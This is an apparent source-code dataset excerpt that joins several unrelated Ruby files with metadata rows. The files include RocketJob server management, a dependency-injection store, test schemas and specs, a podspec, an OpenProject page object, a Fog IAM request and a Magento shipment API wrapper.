# Returns [Hash<String:Integer>] of the number of servers in each state.
# Note: If there are no servers in that particular state then the hash will not have a value for it.
#
# Example servers in every state:
# RocketJob::Server.counts_by_state
# # => {
# :aborted => 1,
# :completed => 37,
# :failed => 1,
# :paused => 3,
# :queued => 4,
# :running => 1,
# :queued_now => 1,
# :scheduled => 3
# }
#
# Example no servers active:
# RocketJob::Server.counts_by_state
# # => {}
def self.counts_by_state
counts = {}
collection.aggregate(
[
{
'$group' => {
_id: '$state',
count: {'$sum' => 1}
}
}
]
).each do |result|
counts[result['_id'].to_sym] = result['count']
end
counts
end
# On MRI the 'concurrent-ruby-ext' gem may not be loaded
if defined?(Concurrent::JavaAtomicBoolean) || defined?(Concurrent::CAtomicBoolean)
# Returns [true|false] whether the shutdown indicator has been set for this server process
def self.shutdown?
@shutdown.value
end
# Set shutdown indicator for this server process
def self.shutdown!
@shutdown.make_true
end
@shutdown = Concurrent::AtomicBoolean.new(false)
else
# Returns [true|false] whether the shutdown indicator has been set for this server process
def self.shutdown?
@shutdown
end
# Set shutdown indicator for this server process
def self.shutdown!
@shutdown = true
end
@shutdown = false
end
# Run the server process
# Attributes supplied are passed to #new
def self.run(attrs = {})
Thread.current.name = 'rocketjob main'
# Create Indexes on server startup
Mongoid::Tasks::Database.create_indexes
register_signal_handlers
server = create!(attrs)
server.send(:run)
ensure
server.destroy if server
end
# Returns [Boolean] whether the server is shutting down
def shutdown?
self.class.shutdown? || !running?
end
# Scope for all zombie servers
def self.zombies(missed = 4)
dead_seconds = Config.instance.heartbeat_seconds * missed
last_heartbeat_time = Time.now - dead_seconds
where(
:state.in => [:stopping, :running, :paused],
'$or' => [
{"heartbeat.updated_at" => {'$exists' => false}},
{"heartbeat.updated_at" => {'$lte' => last_heartbeat_time}}
]
)
end
# Returns [true|false] if this server has missed at least the last 4 heartbeats
#
# Possible causes for a server to miss its heartbeats:
# - The server process has died
# - The server process is "hanging"
# - The server is no longer able to communicate with the MongoDB Server
def zombie?(missed = 4)
return false unless running? || stopping? || paused?
return true if heartbeat.nil? || heartbeat.updated_at.nil?
dead_seconds = Config.instance.heartbeat_seconds * missed
(Time.now - heartbeat.updated_at) >= dead_seconds
end
private
attr_reader :workers
# Returns [Array<Worker>] collection of workers
def workers
@workers ||= []
end
# Management Thread
def run
logger.info "Using MongoDB Database: #{RocketJob::Job.collection.database.name}"
build_heartbeat(updated_at: Time.now, workers: 0)
started!
logger.info 'RocketJob Server started'
run_workers
logger.info 'Waiting for workers to stop'
# Tell each worker to shutdown cleanly
workers.each(&:shutdown!)
while worker = workers.first
if worker.join(5)
# Worker thread is dead
workers.shift
else
# Timeout waiting for worker to stop
find_and_update(
'heartbeat.updated_at' => Time.now,
'heartbeat.workers' => worker_count
)
end
end
logger.info 'Shutdown'
rescue Mongoid::Errors::DocumentNotFound
logger.warn('Server has been destroyed. Going down hard!')
rescue Exception => exc
logger.error('RocketJob::Server is stopping due to an exception', exc)
ensure
# Logs the backtrace for each running worker
if SemanticLogger::VERSION.to_i >= 4
workers.each { |worker| logger.backtrace(thread: worker.thread) if worker.thread && worker.alive? }
end
end
def run_workers
stagger = true
while running? || paused?
SemanticLogger.silence(:info) do
find_and_update(
'heartbeat.updated_at' => Time.now,
'heartbeat.workers' => worker_count
)
end
if paused?
workers.each(&:shutdown!)
stagger = true
end
# In case number of threads has been modified
adjust_workers(stagger)
stagger = false
# Stop server if shutdown indicator was set
if self.class.shutdown? && may_stop?
stop!
else
sleep Config.instance.heartbeat_seconds
end
end
end
# Returns [Fixnum] number of workers (threads) that are alive
def worker_count
workers.count(&:alive?)
end
def next_worker_id
@worker_id ||= 0
@worker_id += 1
end
# Re-adjust the number of running workers to get it up to the
# required number of workers
# Parameters
# stagger_workers
# Whether to stagger when the workers poll for work the first time
# It spreads out the queue polling over the max_poll_seconds so
# that not all workers poll at the same time
# The worker also respond faster than max_poll_seconds when a new
# job is added.
def adjust_workers(stagger_workers = false)
count = worker_count
# Cleanup workers that have stopped
if count != workers.count
logger.info "Cleaning up #{workers.count - count} workers that went away"
workers.delete_if { |t| !t.alive? }
end
return unless running?
# Need to add more workers?
if count < max_workers
worker_count = max_workers - count
logger.info "Starting #{worker_count} workers"
worker_count.times.each do
sleep (Config.instance.max_poll_seconds.to_f / max_workers) if stagger_workers
return if shutdown?
# Start worker
begin
workers << Worker.new(id: next_worker_id, server_name: name, filter: filter)
rescue Exception => exc
logger.fatal('Cannot start worker', exc)
end
end
end
end
# Register handlers for the various signals
# Term:
# Perform clean shutdown
#
def self.register_signal_handlers
begin
Signal.trap 'SIGTERM' do
shutdown!
message = 'Shutdown signal (SIGTERM) received. Will shutdown as soon as active jobs/slices have completed.'
# Logging uses a mutex to access Queue on MRI/CRuby
defined?(JRuby) ? logger.warn(message) : puts(message)
end
Signal.trap 'INT' do
shutdown!
message = 'Shutdown signal (INT) received. Will shutdown as soon as active jobs/slices have completed.'
# Logging uses a mutex to access Queue on MRI/CRuby
defined?(JRuby) ? logger.warn(message) : puts(message)
end
rescue StandardError
logger.warn 'SIGTERM handler not installed. Not able to shutdown gracefully'
end
end
# Requeue any jobs assigned to this server when it is destroyed
def requeue_jobs
RocketJob::Job.requeue_dead_server(name)
end
end
end
| 30.300261 | 117 | 0.618613 |
f8d86fb4e53b4214a55fae66b2eeb079db57e630 | 2,476 | # frozen_string_literal: true
module Justdi
# Store of entities definitions
class DefinitionStore
class << self
# Class for stores generation
# @return [Class<Hash>]
def general_store
@general_store ||= Hash
end
# Class for register handlers generation
# @return [Class<Justdi::RegisterHandler>]
def register_handler
@register_handler ||= Justdi::RegisterHandler
end
protected
attr_writer :general_store, :register_handler
alias use_general_store general_store=
alias use_register_handler register_handler=
end
# Register definition declaration
#
# @example Register a static value
# "container.register(:example).use_value(42)"
#
# @param token [String, Symbol, Numeric, Class]
# @return [Justdi::RegisterHandler]
def register(token)
self.class.register_handler.new { |value| store[token] = value }
end
# Register any dependency declaration manually
#
# @param token [String, Symbol, Numeric, Class]
# @param definition [Hash]
# @option definition [Symbol] :type
# @option definition [*] :value
def set(token, **definition)
store[token] = Justdi::Definition.new(**definition)
end
# Short definition syntax
# @param token [String, Symbol, Numeric, Class]
# @param definition [Hash]
def []=(token, definition)
set(token, **definition)
end
# Check existence of dependency
# @return [Boolean]
def has?(token)
store.key? token
end
# Store is empty
# @return [Boolean]
def empty?
store.empty?
end
# Load dependency
#
# @param token [String, Symbol, Numeric, Class]
# @return [*]
def get(token)
store[token]
end
# Short getting syntax
# @param token [String, Symbol, Numeric, Class]
# @return [*]
def [](token)
get(token)
end
# Merge definition stores
#
# @param def_store [DefinitionStore]
def merge(def_store)
@store = store.merge def_store.all
end
# Return all definitions
# @return [Hash]
def all
store.clone.freeze
end
# Iterates over existing values
#
# @yield [token, definition]
def each
store.each { |(key, value)| yield key, value }
end
protected
# Definition store
# @return [Hash]
def store
@store ||= self.class.general_store.new
end
end
end
| 22.306306 | 70 | 0.622375 |
18c137e48ffedb451e27e6647a241463a82b8369 | 1,762 | require 'active_record'
require 'logger'
ActiveRecord::Base.establish_connection
ActiveRecord::Base.logger = Logger.new(SPEC_ROOT.join('debug.log'))
ActiveRecord::Migration.verbose = false
ActiveRecord::Schema.define do
create_table :users, :force => true do |t|
t.column :name, :string
t.column :username, :string
t.column :password, :string
t.column :activated, :boolean
t.column :suspended_at, :datetime
t.column :logins, :integer, :default => 0
t.column :created_at, :datetime
t.column :updated_at, :datetime
end
create_table :companies, :force => true do |t|
t.column :name, :string
t.column :owner_id, :integer
t.column :type, :string
end
create_table :authors, :force => true do |t|
t.column :name, :string
end
create_table :books, :force => true do |t|
t.column :authord_id, :integer
t.column :title, :string
end
create_table :audits, :force => true do |t|
t.column :auditable_id, :integer
t.column :auditable_type, :string
t.column :associated_id, :integer
t.column :associated_type, :string
t.column :user_id, :integer
t.column :user_type, :string
t.column :username, :string
t.column :action, :string
t.column :audited_changes, :text
t.column :version, :integer, :default => 0
t.column :comment, :string
t.column :remote_address, :string
t.column :request_uuid, :string
t.column :created_at, :datetime
end
add_index :audits, [:auditable_id, :auditable_type], :name => 'auditable_index'
add_index :audits, [:associated_id, :associated_type], :name => 'associated_index'
add_index :audits, [:user_id, :user_type], :name => 'user_index'
add_index :audits, :request_uuid
add_index :audits, :created_at
end
| 30.37931 | 84 | 0.689557 |
180c12cffb1b0100d1f89de4ae4faec8d00c2a96 | 254 | # frozen_string_literal: true
require 'pathname'
# Encapsulates app configuration
module App
class << self
def env
ENV['RACK_ENV'] || 'development'
end
def root
Pathname.new(File.expand_path('..', __dir__))
end
end
end
| 14.941176 | 51 | 0.653543 |
915d44ff447cdb80d8dfc5506846f87d7f3b6f3b | 276 | require 'spec_helper'
RSpec.describe EmailAddressee do
it { should validate_presence_of(:email) }
it { should validate_presence_of(:addressee) }
it { should validate_presence_of(:email_type) }
it { should belong_to(:email) }
it { should belong_to(:addressee) }
end
| 27.6 | 49 | 0.746377 |
62bff5be61588e97aed726bf1ad457f6f61b94df | 288 | require 'grape_skeleton/settings'
module GrapeSkeleton
module Config
def self.app_name
@app_name ||= GrapeSkeleton::Settings.application_name
end
def self.to_h
{
app_name: app_name,
version: GrapeSkeleton::VERSION,
}
end
end
end
| 15.157895 | 60 | 0.645833 |
1dccae5cdfa57198912b5f47bb856d5db9a7fcca | 357 | class Doublecommand < Cask
version '1.7'
sha256 '312aaf1a60517c694b24131bf502945dc23a22c917971c3e7a3adca163560503'
url 'http://doublecommand.sourceforge.net/files/DoubleCommand-1.7.dmg'
homepage 'http://doublecommand.sourceforge.net'
pkg 'DoubleCommand-1.7.pkg'
uninstall :script => '/Library/StartupItems/DoubleCommand/uninstall.command'
end
| 32.454545 | 78 | 0.795518 |
7968138a5683739e31f36df6f7fdcedd2fc99a89 | 339 | # encoding: utf-8
require 'libis/workflow/mongoid'
module Libis
module Ingester
class AccessRight
include ::Libis::Workflow::Mongoid::Base
store_in collection: 'access_rights'
field :name, type: String
field :ar_id, type: String
index({name: 1}, {unique: true, name: 'by_name'})
end
end
end
| 16.95 | 55 | 0.651917 |
5dedfb5d484c0886553629d2fd93186c9c0c4761 | 601 | require 'codeclimate-test-reporter'
CodeClimate::TestReporter.start
require 'twofishes'
require 'minitest/autorun'
require 'minitest/unit'
require 'minitest/pride'
require 'mocha/mini_test'
module MiniTest
class Test
def mock_thrift_client
thrift_client = mock
Twofishes::Client.expects(:thrift_client).returns(thrift_client)
thrift_client
end
def mock_geocode(response)
mock_thrift_client.expects(:geocode).returns(response)
end
def mock_reverse_geocode(response)
mock_thrift_client.expects(:reverseGeocode).returns(response)
end
end
end
| 22.259259 | 70 | 0.757072 |
4a23aea771be391afd69d6feb2311ed77087e31f | 1,772 | # encoding: UTF-8
control 'VCRP-70-000002' do
title 'Envoy must set a limit on established connections.'
desc "Envoy client connections must be limited in order to preserve system
resources and to continue servicing connections without interruption. Without a
limit, set the system would be vulnerable to a trivial denial of service attack
where connections are created en masse and vCenter resources are entirely
consumed.
Envoy comes hard coded with a tested and supported value for
\"maxHttpsConnections\" that must be verified and maintained.
"
desc 'rationale', ''
desc 'check', "
At the command prompt, execute the following command:
# xmllint --xpath '/config/envoy/L4Filter/maxHttpsConnections/text()'
/etc/vmware-rhttpproxy/config.xml
Expected result:
2048
or
XPath set is empty
If the output does not match the expected result, this is a finding.
"
desc 'fix', "
Navigate to and open /etc/vmware-rhttpproxy/config.xml
Locate the <config>/<envoy>/<L4Filter> block and configure
<maxHttpsConnections> as follows:
<maxHttpsConnections>2048</maxHttpsConnections>
Restart the service for changes to take effect.
# vmon-cli --restart rhttpproxy
"
impact 0.5
tag severity: 'medium'
tag gtitle: 'SRG-APP-000001-WSR-000001'
tag gid: nil
tag rid: nil
tag stig_id: 'VCRP-70-000002'
tag fix_id: nil
tag cci: 'CCI-000054'
tag nist: ['AC-10']
describe.one do
describe xml("#{input('configXmlPath')}") do
its(['/config/envoy/L4Filter/maxHttpsConnections']) { should cmp "#{input('maxHttpsConnections')}" }
end
describe xml("#{input('configXmlPath')}") do
its(['/config/envoy/L4Filter/maxHttpsConnections']) { should cmp [] }
end
end
end
| 26.447761 | 106 | 0.709932 |
38561eec17017cf6004bc1bd70514c8abb3ffef1 | 7,450 | #-- copyright
# OpenProject is a project management system.
# Copyright (C) 2012-2017 the OpenProject Foundation (OPF)
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2017 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See doc/COPYRIGHT.rdoc for more details.
#++
require 'support/pages/page'
module Pages
class AbstractWorkPackage < Page
attr_reader :project, :work_package, :type_field_selector, :subject_field_selector
def initialize(work_package, project = nil)
@work_package = work_package
@project = project
@type_field_selector = '.wp-edit-field.type'
@subject_field_selector = '.wp-edit-field.subject'
end
def visit_tab!(tab)
visit path(tab)
end
def expect_tab(tab)
expect(page).to have_selector('.tabrow li.selected', text: tab.to_s.upcase)
end
def edit_field(attribute, context)
WorkPackageField.new(context, attribute)
end
def expect_hidden_field(attribute)
page.within(container) do
expect(page).to have_no_selector(".inplace-edit.#{attribute}")
end
end
def expect_subject
page.within(container) do
expect(page).to have_content(work_package.subject)
end
end
def open_in_split_view
find('#work-packages-details-view-button').click
end
def ensure_page_loaded
expect(page).to have_selector('.work-package-details-activities-activity-contents .user',
text: work_package.journals.last.user.name,
minimum: 1,
wait: 10)
end
def expect_group(name, &block)
expect(page).to have_selector('.attributes-group--header-text', text: name.upcase)
if block_given?
page.within(".attributes-group[data-group-name='#{name}']", &block)
end
end
def expect_no_group(name)
expect(page).to have_no_selector('.attributes-group--header-text', text: name.upcase)
end
def expect_attributes(attribute_expectations)
attribute_expectations.each do |label_name, value|
label = label_name.to_s
if label == 'status'
expect(page).to have_selector(".wp-status-button .button", text: value)
else
expect(page).to have_selector(".wp-edit-field.#{label.camelize(:lower)}", text: value)
end
end
end
def expect_attribute_hidden(label)
expect(page).not_to have_selector(".wp-edit-field.#{label.downcase}")
end
def expect_activity(user, number: nil)
container = '#work-package-activites-container'
container += " #activity-#{number}" if number
expect(page).to have_selector(container + ' .user', text: user.name)
end
def expect_activity_message(message)
expect(page).to have_selector('.work-package-details-activities-messages .message',
text: message)
end
def expect_parent(parent = nil)
parent ||= work_package.parent
expect(parent).to_not be_nil
visit_tab!('relations')
expect(page).to have_selector('.relation-row a',
text: "#{parent.type.name}: #{parent.subject}")
end
def expect_zen_mode
expect(page).to have_selector('#main-menu', visible: false)
expect(page).to have_selector('#top-menu', visible: false)
end
def expect_no_zen_mode
expect(page).to have_selector('#main-menu', visible: true)
expect(page).to have_selector('#top-menu', visible: true)
end
def update_attributes(key_value_map, save: true)
set_attributes(key_value_map, save: save)
end
def set_attributes(key_value_map, save: true)
key_value_map.each_with_index.map do |(key, value), index|
field = work_package_field(key)
field.update(value, save: save)
unless index == key_value_map.length - 1
ensure_no_conflicting_modifications
end
end
end
def work_package_field(key)
if key =~ /customField(\d+)$/
cf = CustomField.find $1
if cf.field_format == 'text'
WorkPackageTextAreaField.new page, key
else
WorkPackageField.new page, key
end
elsif key == :description
WorkPackageTextAreaField.new page, key
elsif key == :status
WorkPackageStatusField.new page
else
WorkPackageField.new page, key
end
end
def add_child
visit_tab!('relations')
page.find('.wp-inline-create--add-link',
text: I18n.t('js.relation_buttons.add_new_child')).click
create_page(parent_work_package: work_package)
end
def visit_copy!
page = create_page(original_work_package: work_package)
page.visit!
page
end
def trigger_edit_mode
page.click_button(I18n.t('js.button_edit'))
end
def trigger_edit_comment
add_comment_container.find('.inplace-editing--trigger-link').click
end
def update_comment(comment)
add_comment_container.fill_in 'value', with: comment
end
def preview_comment
label = I18n.t('js.inplace.btn_preview_enable')
add_comment_container
.find(:xpath, "//button[@title='#{label}']")
.click
end
def save_comment
label = 'Comment: Save'
add_comment_container.find(:xpath, "//a[@title='#{label}']").click
end
def save!
page.click_button(I18n.t('js.button_save'))
end
def add_comment_container
find('.work-packages--activity--add-comment')
end
def click_add_wp_button
find('.add-work-package:not([disabled])', text: 'Work package').click
end
def click_create_wp_button(type)
find('.add-work-package:not([disabled])', text: 'Create').click
find('#types-context-menu .menu-item', text: type, wait: 10).click
end
def select_type(type)
find(@type_field_selector + ' option', text: type).select_option
end
def subject_field
expect(page).to have_selector(@subject_field_selector + ' input', wait: 10)
find(@subject_field_selector + ' input')
end
def description_field
find('.wp-edit-field.description textarea')
end
private
def create_page(_args)
raise NotImplementedError
end
def ensure_no_conflicting_modifications
expect_notification(message: 'Successful update')
dismiss_notification!
expect_no_notification(message: 'Successful update')
end
end
end
| 29.44664 | 96 | 0.663356 |
876fda83c4d0de66886d202f3245b2974ae43eaa | 74 | # Use the staging config.
require File.expand_path('staging.rb', __dir__)
| 24.666667 | 47 | 0.77027 |
6ae780475a96572d48e8a756ee1f629577f63fa7 | 1,785 | # Backpack - Skyscanner's Design System
# Copyright 2018-2021 Skyscanner Ltd
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
Pod::Spec.new do |s|
s.name = 'Backpack'
s.version = "40.0.2"
s.summary = "Skyscanner's Design System Backpack for iOS"
s.description = <<-DESC
The Skyscanner Design System, Backpack, for iOS apps
DESC
s.homepage = 'https://github.com/Skyscanner/backpack-ios'
s.license = { type: 'Apache-2.0', file: 'LICENSE' }
s.author = {
'Backpack Design System' => 'backpack@skyscanner.net'
}
s.source = {
git: 'https://github.com/Skyscanner/backpack-ios.git', tag: s.version.to_s
}
s.ios.deployment_target = '12.0'
s.source_files = 'Backpack/Backpack.h', 'Backpack/Common.h', 'Backpack/*/Classes/**/*.{h,m,swift}'
s.public_header_files = 'Backpack/Backpack.h', 'Backpack/*/Classes/**/*.h'
s.ios.resource_bundle = {
'Icon' => 'Backpack/Icon/Assets/*'
}
s.dependency 'FSCalendar', '~> 2.8.2'
s.dependency 'TTTAttributedLabel', '~> 2.0.0'
s.dependency 'FloatingPanel', '1.7.5'
s.dependency 'MBProgressHUD', '~> 1.2.0'
s.frameworks = 'UIKit', 'Foundation', 'CoreText'
s.requires_arc = true
s.swift_versions = ['5.0', '4.2', '4.0']
end
| 37.1875 | 100 | 0.660504 |
6a767aae5f6a58f9668bbb03dfff6baf0a39c1ba | 2,841 | class ContainerDashboardController < ApplicationController
extend ActiveSupport::Concern
include Mixins::GenericSessionMixin
include Mixins::BreadcrumbsMixin
before_action :check_privileges
before_action :get_session_data
after_action :cleanup_action
after_action :set_session_data
def show
@lastaction = "show_dashboard"
if params[:id].nil?
@breadcrumbs.clear
end
@title = title
end
def index
redirect_to(:action => 'show')
end
def data
return data_live if params[:live] == 'true'
render :json => {:data => collect_data(params[:id])}
end
def heatmaps_data
render :json => {:data => collect_heatmaps_data(params[:id])}
end
def ems_utilization_data
render :json => {:data => collect_ems_utilization_data(params[:id])}
end
def network_metrics_data
render :json => {:data => collect_network_metrics_data(params[:id])}
end
def pod_metrics_data
render :json => {:data => collect_pod_metrics_data(params[:id])}
end
def image_metrics_data
render :json => {:data => collect_image_metrics_data(params[:id])}
end
def data_live
render :json => collect_live_data(params[:id], params[:query])
end
def project_data
render :json => {:data => collect_project_data(params[:id]) }
end
def title
_("Container Dashboard")
end
def self.session_key_prefix
"container_dashboard"
end
private
def get_session_data
super
end
def collect_data(provider_id)
ContainerDashboardService.new(provider_id, self).all_data
end
def collect_heatmaps_data(provider_id)
ContainerDashboardService.new(provider_id, self).all_heatmaps_data
end
def collect_ems_utilization_data(provider_id)
ContainerDashboardService.new(provider_id, self).ems_utilization_data
end
def collect_network_metrics_data(provider_id)
ContainerDashboardService.new(provider_id, self).network_metrics_data
end
def collect_pod_metrics_data(provider_id)
ContainerDashboardService.new(provider_id, self).pod_metrics_data
end
def collect_image_metrics_data(provider_id)
ContainerDashboardService.new(provider_id, self).image_metrics_data
end
def collect_live_data(provider_id, query)
ems = ExtManagementSystem.find(provider_id)
if ems && ems.connection_configurations.prometheus.try(:endpoint)
PrometheusProxyService.new(provider_id, self).data(query)
else
HawkularProxyService.new(provider_id, self).data(query)
end
end
def collect_project_data(project_id)
ContainerProjectDashboardService.new(project_id, self).all_data
end
def breadcrumbs_options
{
:breadcrumbs => [
{:title => _("Compute")},
{:title => _("Containers")},
{:title => _("Overview"), :url => controller_url},
],
}
end
menu_section :cnt
end
| 23.479339 | 73 | 0.725097 |
7a4fa5dc028e1820caaa1ca27998c28efd3dc39d | 64 | class Planet < ApplicationRecord
has_many :moons
end
| 10.666667 | 32 | 0.6875 |
3952ef27ac652db6dd0dd14c7f8474899d218304 | 922 | module Fog
module AWS
class IAM
class Real
require 'fog/aws/parsers/iam/basic'
# Remove a policy from a group
#
# ==== Parameters
# * group_name<~String>: name of the group
# * policy_name<~String>: name of policy document
#
# ==== Returns
# * response<~Excon::Response>:
# * body<~Hash>:
# * 'RequestId'<~String> - Id of the request
#
# ==== See Also
# http://docs.amazonwebservices.com/IAM/latest/APIReference/API_DeleteGroupPolicy.html
#
def delete_group_policy(group_name, policy_name)
request(
'Action' => 'DeleteGroupPolicy',
'GroupName' => group_name,
'PolicyName' => policy_name,
:parser => Fog::Parsers::AWS::IAM::Basic.new
)
end
end
end
end
end
| 26.342857 | 94 | 0.506508 |
3982c459cca47894114a8748c40e0c0e419ec7b9 | 88 | module Activerecord
module Cti
class Railtie < ::Rails::Railtie
end
end
end
| 12.571429 | 36 | 0.681818 |
f734aaedb93271e4c74ff112c2f1bd1322a6c848 | 2,973 | require_relative '../test_helper'
require_relative 'test_commands/plain_subcommand'
class CompletionTest < Minitest::Test
def setup
Fylla.load('test')
end
def test_cli_start_completion_generator
expected = <<~'HERE'
#compdef _test test
function _test_help {
_arguments \
"-h[Show help information]" \
"--help[Show help information]" \
"1: :_commands" \
"*::arg:->args"/.
}
function _test_generate_completions {
_arguments \
"-h[Show help information]" \
"--help[Show help information]" \
"1: :_commands" \
"*::arg:->args"/.
}
function _test_sub_noopts {
_arguments \
"-h[Show help information]" \
"--help[Show help information]" \
"1: :_commands" \
"*::arg:->args"/.
}
function _test_sub_withopts {
_arguments \
"--an_option=[AN_OPTION]" \
"-h[Show help information]" \
"--help[Show help information]" \
"1: :_commands" \
"*::arg:->args"/.
}
function _test_sub_help {
_arguments \
"-h[Show help information]" \
"--help[Show help information]" \
"1: :_commands" \
"*::arg:->args"/.
}
function _test_sub {
local line
function _commands {
local -a commands
commands=(
'help:Describe subcommands or one specific subcommand'
'noopts:subcommand that takes no options'
'withopts:subcommand that takes options'
)
_describe 'command' commands
}
_arguments \
"-h[Show help information]" \
"--help[Show help information]" \
"1: :_commands" \
"*::arg:->args"/.
case $line[1] in
help)
_test_sub_help
;;
noopts)
_test_sub_noopts
;;
withopts)
_test_sub_withopts
;;
esac
}
function _test {
local line
function _commands {
local -a commands
commands=(
'generate_completions:generate completions'
'help:Describe available commands or one specific command'
'sub:a subcommand'
)
_describe 'command' commands
}
_arguments \
"-h[Show help information]" \
"--help[Show help information]" \
"1: :_commands" \
"*::arg:->args"/.
case $line[1] in
generate_completions)
_test_generate_completions
;;
help)
_test_help
;;
sub)
_test_sub
;;
esac
}
HERE
ARGV.clear
ARGV << 'generate_completions'
assert_output(expected) do
Zsh::PlainSubcommands::Main.start(ARGV)
end
end
end
| 25.194915 | 70 | 0.499159 |
3317c2dd7d6d730c26bce26500751e6288d0c63f | 517 | module LambdaCallback
class ResolutionProofResultController < AuthTokenController
def create
dcs = DocumentCaptureSession.new
dcs.result_id = result_id_parameter
dcs.store_proofing_result(resolution_result_parameter)
end
private
def result_id_parameter
params.require(:result_id)
end
def resolution_result_parameter
params.require(:resolution_result)
end
def config_auth_token
Figaro.env.resolution_proof_result_lambda_token
end
end
end
| 21.541667 | 61 | 0.750484 |
acae0a7b5bc01baf647b87448a70cb59dc522dc5 | 2,766 | # -*- encoding: utf-8 -*-
# stub: sinatra 2.0.5 ruby lib
Gem::Specification.new do |s|
s.name = "sinatra".freeze
s.version = "2.0.5"
s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version=
s.metadata = { "bug_tracker_uri" => "https://github.com/sinatra/sinatra/issues", "changelog_uri" => "https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md", "documentation_uri" => "https://www.rubydoc.info/gems/sinatra", "homepage_uri" => "http://sinatrarb.com/", "mailing_list_uri" => "http://groups.google.com/group/sinatrarb", "source_code_uri" => "https://github.com/sinatra/sinatra" } if s.respond_to? :metadata=
s.require_paths = ["lib".freeze]
s.authors = ["Blake Mizerany".freeze, "Ryan Tomayko".freeze, "Simon Rozet".freeze, "Konstantin Haase".freeze]
s.date = "2018-12-22"
s.description = "Sinatra is a DSL for quickly creating web applications in Ruby with minimal effort.".freeze
s.email = "sinatrarb@googlegroups.com".freeze
s.extra_rdoc_files = ["README.de.md".freeze, "README.es.md".freeze, "README.fr.md".freeze, "README.hu.md".freeze, "README.ja.md".freeze, "README.ko.md".freeze, "README.malayalam.md".freeze, "README.md".freeze, "README.pt-br.md".freeze, "README.pt-pt.md".freeze, "README.ru.md".freeze, "README.zh.md".freeze, "LICENSE".freeze]
s.files = ["LICENSE".freeze, "README.de.md".freeze, "README.es.md".freeze, "README.fr.md".freeze, "README.hu.md".freeze, "README.ja.md".freeze, "README.ko.md".freeze, "README.malayalam.md".freeze, "README.md".freeze, "README.pt-br.md".freeze, "README.pt-pt.md".freeze, "README.ru.md".freeze, "README.zh.md".freeze]
s.homepage = "http://sinatrarb.com/".freeze
s.licenses = ["MIT".freeze]
s.rdoc_options = ["--line-numbers".freeze, "--inline-source".freeze, "--title".freeze, "Sinatra".freeze, "--main".freeze, "README.rdoc".freeze, "--encoding=UTF-8".freeze]
s.required_ruby_version = Gem::Requirement.new(">= 2.2.0".freeze)
s.rubygems_version = "3.1.4".freeze
s.summary = "Classy web-development dressed in a DSL".freeze
s.installed_by_version = "3.1.4" if s.respond_to? :installed_by_version
if s.respond_to? :specification_version then
s.specification_version = 4
end
if s.respond_to? :add_runtime_dependency then
s.add_runtime_dependency(%q<rack>.freeze, ["~> 2.0"])
s.add_runtime_dependency(%q<tilt>.freeze, ["~> 2.0"])
s.add_runtime_dependency(%q<rack-protection>.freeze, ["= 2.0.5"])
s.add_runtime_dependency(%q<mustermann>.freeze, ["~> 1.0"])
else
s.add_dependency(%q<rack>.freeze, ["~> 2.0"])
s.add_dependency(%q<tilt>.freeze, ["~> 2.0"])
s.add_dependency(%q<rack-protection>.freeze, ["= 2.0.5"])
s.add_dependency(%q<mustermann>.freeze, ["~> 1.0"])
end
end
| 65.857143 | 425 | 0.693059 |
08e5b8343f4261b573ccc7ce25032f5b3f32095b | 1,491 | require 'test_helper'
class RegistrationsControllerTest < ActionController::TestCase
setup do
@request.env["devise.mapping"] = Devise.mappings[:user]
I18n.available_locales = [:en, :fr, :et]
I18n.locale = :en
end
test "a logged in user should be able to edit their user profile" do
sign_in users(:user)
get :edit, locale: :en
assert_response :success
end
test "a logged in user should be able to update their user profile" do
@user = users(:user)
sign_in @user
assert_difference 'User.find(2).name.length', -3 do
patch :update, { id: @user.id, user: {name: 'something', current_password: '12345678'}, locale: :en }
assert User.find(2).name == 'something', "name does not update"
end
assert_redirected_to root_path
end
test "an omniauth logged in user should be able to update their user profile without password" do
@user = users(:oauth_user)
sign_in @user
assert_difference 'User.find(4).name.length', -3 do
patch :update, { id: @user.id, user: {name: 'something'}, locale: :en }
assert User.find(4).name == 'something', "name does not update"
end
assert_redirected_to root_path
end
test "a signed in user should NOT be able to change their admin or active status" do
sign_in users(:user)
patch :update, { id: 2, user: {admin: true, current_password: '12345678'}, locale: :en }
assert users(:user).admin == false
assert_redirected_to root_path
end
end
| 28.673077 | 107 | 0.678739 |
3875176b8b047ba87a1e7fdb6e640b6b91daa4df | 3,455 | module Magento
# http://www.magentocommerce.com/wiki/doc/webservices-api/api/sales_order_shipment
# 100 Requested shipment not exists.
# 101 Invalid filters given. Details in error message.
# 102 Invalid data given. Details in error message.
# 103 Requested order not exists.
# 104 Requested tracking not exists.
# 105 Tracking not deleted. Details in error message.
class SalesOrderShipment < Base
def api_path
"order_shipment"
end
# sales_order_shipment.list
# Retrieve list of shipments by filters
#
# Return: array
#
# Arguments:
#
# array filters - filters for shipments list
def list(*args)
results = commit("list", *args)
Array(results).map do |result|
self.class.new(connection, result)
end
end
# sales_order_shipment.info
# Retrieve shipment information
#
# Return: array
#
# Arguments:
#
# string shipmentIncrementId - order shipment increment id
def info(*args)
self.class.new(connection, commit("info", *args))
end
# sales_order_shipment.create
# Create new shipment for order
#
# Return: string - shipment increment id
#
# Arguments:
#
# string orderIncrementId - order increment id
# array itemsQty - items qty to ship as associative array (order_item_id ⇒ qty)
# string comment - shipment comment (optional)
# boolean email - send e-mail flag (optional)
# boolean includeComment - include comment in e-mail flag (optional)
def create(*args)
